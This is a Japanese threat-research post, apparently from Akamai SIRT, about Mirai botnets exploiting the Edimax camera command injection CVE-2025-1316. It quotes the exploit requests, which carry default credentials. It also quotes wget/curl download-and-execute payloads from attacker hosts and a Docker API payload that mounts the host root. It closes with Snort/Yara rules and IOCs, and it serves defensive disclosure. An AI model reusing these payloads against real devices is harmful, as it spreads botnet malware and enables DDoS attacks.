露出リスク:Edimax 製ネットワークカメラが Mirai の拡散に使用される
編集・協力:Tricia Howard
エグゼクティブサマリー
Akamai Security Intelligence and Response Team(SIRT)は、Edimax 製のモノのインターネット(IoT)デバイスに対して悪用を試みている新たなコマンドインジェクション脆弱性を特定しました。この脆弱性には、 CVE-2025-1316という CVE 番号が割り当てられています。
SIRT は、2024 年 10 月にハニーポットで初めてこのアクティビティ(脆弱性の悪用)を特定しましたが、さらなる調査の結果、概念実証(PoC)は 2023 年 6 月まで遡ることがわかりました。
この脆弱性を使用して、Mirai の亜種を含む複数のボットネットが特定されました。
この CVE を悪用しているボットネットは、Docker API の悪用など、いくつかの既知の脆弱性も利用しています。
この脅威に対する防御を支援するめに、このブログ記事には、脅威の痕跡(IOC)のリストが含まれています。
探索
2024 年 10 月上旬、Akamai SIRT は、当社のハニーポットのグローバルネットワークで、 /camera-cgi/admin/param.cgi という URI を標的にしたアクティビティを検知しました。さらなる調査の結果、このアクティビティは、Edimax 製の IoT デバイスに対する悪用の試みであることが判明しました。ファームウェアを分析した結果、この悪用の試みは、Edimax 製の IoT デバイスに影響を与えるコマンドインジェクションの脆弱性を悪用していることがわかりました。この脆弱性は、現在 CVE-2025-1316として追跡されています。
この脆弱性を標的とした最も早いアクティビティは、2024年 5 月にハニーポット内で記録されました。しかし、2023 年 6 月までさかのぼる PoC の悪用を特定することができました。長期間の露出を考慮すると、ハニーポットで 2 つの異なるボットネットがこの脆弱性を悪用していることが観察されたのは当然の流れです。どちらものボットネットも、目立ったマルウェアサンプルを持っていませんでしたが、 単純で基本的な Mirai マルウェアを利用するボットネットでさえ、組織にとって脅威であり続けています。
脆弱性
この悪用は、Edimax デバイスの /camera-cgi/admin/param.cgi エンドポイントを標的にし、 param.cgi の ipcamSource オプションの一部として NTP_serverNameオプションにコマンドを注入します。この悪用には認証が必要で、観察されたすべての悪用の試みにはデフォルトの認証情報(通常は admin:1234)が渡されていました。これは、Edimax デバイスのデフォルトの認証情報です。
リクエストから文字列とペイロードを調査した結果、この脆弱性は Edimax 製の IoT デバイスに起因することがわかりました。CVE の公開では、Edimax の IC-7100 ネットワークカメラが脆弱なデバイスとして言及されていますが、脆弱なデバイスとファームウェアの全範囲は、このモデルだけではありません。したがって、影響を受けるデバイスの全範囲が広がる可能性があります。
活動中の悪用
Akamai SIRT の観察では、この URI を標的にした最も古い悪用の試みは、2024 年 5 月までさかのぼります。しばらくの間リクエストは消えましたが、その後、2024 年 9 月、2025 年 1 月および 2 月に、わずかな急増が見られました。悪用の試みは、異なるボットネットからのものであったように見えます。これは、PoC が 2023 年 6 月以降に公開されていたことを踏まえると、不思議ではありません。
2025 年 2 月に取得したペイロードをデコードした結果、 ボットネットは NTP_serverName オプションにコマンドを注入して、 tmp ディレクトリに curl.sh シェルスクリプトをダウンロードして実行していることがわかりました。
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
一般的な Mirai ボットネットの動作と同様に、このシェルスクリプトはいくつかのコマンドを実行して、 curl.sh や x64 などの複数の異なるアーキテクチャで、主要な Mirai マルウェアペイロードをダウンロードして実行します。
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/x86; curl -O http://193.143.1[.]118/x86; cat x86 > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mips; curl -O http://193.143.1[.]118/mips; cat mips > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mpsl; curl -O http://193.143.1[.]118/mpsl; cat mpsl > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/arm; curl -O http://193.143.1[.]118/arm; cat arm > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt "
感染したマシンで実行されると、マルウェアはコンソールに文字列 VagneRHere を出力します(図 1)。
メインドメインは、全体が NSFW(職場閲覧注意)の Web サイトとして表示されるようになっており、これが初めてリリースされたのは 2024 年 12 月下旬のことでした。マルウェアは、angela.spklove [.] com というドメインにビーコンを送信し、ポート 3093 でコマンド&コントロール(C2)通信を行います。一部のサンドボックスでは、このマルウェアは「不安定な Mirai」マルウェア亜種としてフラグ付けされています。
これは、このドメインで特定された唯一のサブドメインであり、C2 として関与している唯一の部分です。Web サイトには、ホームページに約 60 名のメンバーがいる Discord サーバーへのリンクもあります。Discord の内容は韓国語で書かれており、Web サイトと一致するようです。
このボットネットは、TOTOLINK 製の IoT デバイスに影響を与える CVE-2024-7214も悪用していることが確認されました。
複数のボットネット
また、2024年5月以降、この Edimax の脆弱性を悪用している別のボットネットも観察されました。特定された攻撃機能は、Mirai マルウェアサンプルのかなり標準的なものでしたが、注目すべき例外は、検知された sym.antidebug や sym.debugger_ などの関数を通じて、デバッグ防止機能が組み込まれているように見える点です。
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://170.39.193.232/wget.sh; chmod 777 wget.sh; sh wget.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
以前のボットネットと同様に、このボットネットの悪用は、 wget.shというシェルスクリプトをダウンロードして実行し、今度はそのシェルスクリプトがメインの Mirai マルウェアペイロードをダウンロードして実行します。この場合、サンプルのファイル名は通常、「.S」で始まります。
"cd /tmp ; rm -rf x86_64 ; /bin/busybox wget http://170.39.193[.]232/.Sx86_64 ; chmod 777 .Sx86_64 ; ./.Sx86_64 x86 ;",
"cd /tmp ; rm -rf mpsl ; /bin/busybox wget http://170.39.193[.]232/.Smpsl ; chmod 777 .Smpsl ; ./.Smpsl mpsl ;",
"cd /tmp ; rm -rf mips ; /bin/busybox wget http://170.39.193[.]232/.Smips ; chmod 777 .Smips ; ./.Smips mips ; ",
"cd /tmp ; rm -rf arm5 ; /bin/busybox wget http://170.39.193[.]232/.Sarm4 ; chmod 777 .Sarm4 ; ./.Sarm4 arm4 ;",
"cd /tmp ; rm -rf arm4 ; /bin/busybox wget http://170.39.193[.]232/.Sarm5 ; chmod 777 .Sarm5 ; ./.Sarm5 arm5 ;",
"cd /tmp ; rm -rf arm6 ; /bin/busybox wget http://170.39.193[.]232/.Sarm6 ; chmod 777 .Sarm6 ; ./.Sarm6 arm6 ;",
"cd /tmp ; rm -rf arm7 ; /bin/busybox wget http://170.39.193[.]232/.Sarm7 ; chmod 777 .Sarm7 ; ./.Sarm7 arm7 ; ",
"cd /tmp ; rm -rf m68k ; /bin/busybox wget http://170.39.193[.]232/.Sm68k ; chmod 777 .Sm68k ; ./.Sm68k m68 ;",
"cd /tmp ; rm -rf x86 ; /bin/busybox wget http://170.39.193[.]232/.Sx86 ; chmod 777 .Sx86 ; ./.Sx86 x64 ;",
"cd /tmp ; rm -rf spc ; /bin/busybox wget http://170.39.193[.]232/.Sspc ; chmod 777 .Sspc ; ./.Sspc spc ;"
攻撃機能は、UDP OpenVPN などを標的としている UDP フラッド、TCP ACK および TCP SYN などの一般的な Mirai マルウェア攻撃手法を示しています。
0x000083b8 7 140 sym.attack_kill_all
0x0000d1dc 31 1976 sym.attack_handshake
0x0000874c 1 1160 sym.attack_init
0x0000ab78 28 1708 sym.attack_tcp_syn
0x00009dc8 28 1716 sym.attack_tcpsack
0x0000ce7c 27 860 sym.attack_socket
0x000096e4 31 1760 sym.attack_tcppsh
0x00008d0c 31 1160 sym.attack_udp_custom
0x0000b228 27 1564 sym.attack_gre_ip
0x0000d998 12 428 sym.attack_udp_openvpn
0x0000829c 13 268 sym.attack_start
0x0000851c 26 560 sym.attack_parse
0x00008448 9 104 sym.attack_get_opt_int
0x00008240 8 92 sym.attack_get_opt_str
また、このマルウェアは、感染したホストに「Hello, World!」という文字列を印刷するようにハードコードされています。以前のサンプルでは、マルウェアはフォルダ /var/ftperを使用していましたが、新しいバージョンでは /var/Sofia を使用していることが確認されています(図 2)。
このボットネットは、Docker API エンドポイントの悪用を含む、ハニーポットのネットワークに存在するその他のさまざまな脆弱性を標的にしていることも確認されています。 さらに、 CVE-2021-36220と Hadoop YARN の脆弱性も標的にしています。
/v1.24/containers/create {"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":null,"Cmd":["binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","chroot","/mnt/","/bin/sh","-c","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done"],"Image":"alpine","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"ConsoleSize":[0,0],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}}}
結論
Mirai の遺産は、世界中の組織を悩ませ続けており、Mirai マルウェアベースのボットネットの蔓延は止まる気配を見せません。あらゆる種類の無料のチュートリアルやソースコード(そして今では AI の助け)が利用できるようになったことで、ボットネットの立ち上げはさらに簡単になりました。
サイバー犯罪者がボットネットを構築し始めるための最も効果的な方法の 1 つは、古いデバイス上の、セキュリティが不十分で最新でないファームウェアを標的にすることです。 多くのハードウェアメーカーは、製造中止になったデバイスに対してパッチを発行していません(場合によっては、メーカー自体が倒産していることもあります)。この特定の Edimax モデルは製造中止であり、今後アップデートは提供されないとのことです。セキュリティパッチが利用できず、今後提供される可能性も低い場合は、脆弱なデバイスを新しいモデルにアップグレードすることをお勧めします。
Akamai SIRT は今後も、お客様とセキュリティコミュニティ全体の両方を危険にさらすこのような脅威を監視し、報告してまいります。SIRT や Akamai Security Intelligence Group からの他の出版物について知るには、 リサーチホームページ をご覧いただき、 ソーシャルメディアでフォローしてください。
脅威の痕跡情報
防御担当者を支援するために、IOC のリストを、Snort ルールおよび Yara ルールを含めて示します。
ネットワーク IOC の Snort ルール
C2 IP の Snort ルール(ボットネット #1)
alert ip any any -> 193.143.1.118 any (msg:"Possible Botnet #1 Infrastructure Activity - Suspicious IP"; sid:1000001; rev:1; threshold:type limit, track by_src, count 1, seconds 600; classtype:trojan-activity; metadata:service http, malware;)
C2 ドメイン解決検知のための Snort ルール(ボットネット #1)
alert tcp any any -> any 80 (msg:"Possible Botnet #1 C2 or Malware Distribution - angela.spklove.com"; content:"angela.spklove.com"; http_header; nocase; sid:1000002; rev:1; classtype:trojan-activity; metadata:service http, malware;)
C2 IP の Snort ルール(ボットネット #2)
alert ip any any -> [194.120.230.54, 170.39.193.232, 49.12.210.140, 93.123.85.135, 147.45.199.16, 172.235.166.240, 172.232.38.103, 172.235.166.10, 172.232.38.224] any (
msg:"Possible Botnet #2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
C2 ドメイン解決検知のための Snort ルール(ボットネット #2)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.merisprivate.net";
content:"cnc.merisprivate.net"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - bot.merisprivate.net";
content:"bot.merisprivate.net"; http_host; nocase;
sid:2000003; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.ziparchive.xyz";
content:"cnc.ziparchive.xyz"; http_host; nocase;
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - virtuehub.one";
content:"virtuehub.one"; http_host; nocase;
sid:2000005; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
マルウェアサンプルの Yara ルール
rule Botnet1_Indicators
{
meta:
description = "Detects Botnet #1 malware samples and network-based indicators"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "193.143.1.118"
$domain1 = "angela.spklove.com"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89",
hash.sha256(0, filesize) == "40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21",
hash.sha256(0, filesize) == "e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759",
hash.sha256(0, filesize) == "43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59",
hash.sha256(0, filesize) == "ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
rule Botnet2_Indicators
{
meta:
description = "Detects Botnet #2 malware samples, network indicators, and unique string"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IPs & Domains)
$ip1 = "194.120.230.54"
$ip2 = "170.39.193.232"
$ip3 = "49.12.210.140"
$ip4 = "93.123.85.135"
$ip5 = "147.45.199.16"
$ip6 = "172.235.166.240"
$ip7 = "172.232.38.103"
$ip8 = "172.235.166.10"
$ip9 = "172.232.38.224"
$domain1 = "cnc.merisprivate.net"
$domain2 = "bot.merisprivate.net"
$domain3 = "cnc.ziparchive.xyz"
$domain4 = "virtuehub.one"
// Unique String Found in the Malware
$unique_string = "2surf2"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36",
hash.sha256(0, filesize) == "c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457",
hash.sha256(0, filesize) == "b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256",
hash.sha256(0, filesize) == "9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6",
hash.sha256(0, filesize) == "555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f",
hash.sha256(0, filesize) == "4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65",
hash.sha256(0, filesize) == "4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72",
hash.sha256(0, filesize) == "ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97",
// Network-based Indicator Matches
any of ($ip1, $ip2, $ip3, $ip4, $ip5, $ip6, $ip7, $ip8, $ip9,
$domain1, $domain2, $domain3, $domain4),
// Unique string match
$unique_string
)
}
履歴インフラの IPv4 アドレス(ボットネット #1)
193.143.1.118
C2 およびマルウェア配布エンドポイントのドメイン(ボットネット #1)
angela.spklove.com
SHA256 ハッシュ(ボットネット #1)
9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89
40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21
e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759
43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59
ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9
IP アドレス(ボットネット #2)
194.120.230.54
170.39.193.232
49.12.210.140
93.123.85.135
147.45.199.16
172,235,166,240
172.232.38.103
172.235.166.10
172.232.38.224
ドメイン(ボットネット #2)
cnc.merisprivate.net
bot.merisprivate.net
cnc.ziparchive.xyz
virtuehub.one
SHA256 ハッシュ(ボットネット #2)
75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36
c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457
b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256
9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6
555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f
4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65
4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72
ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97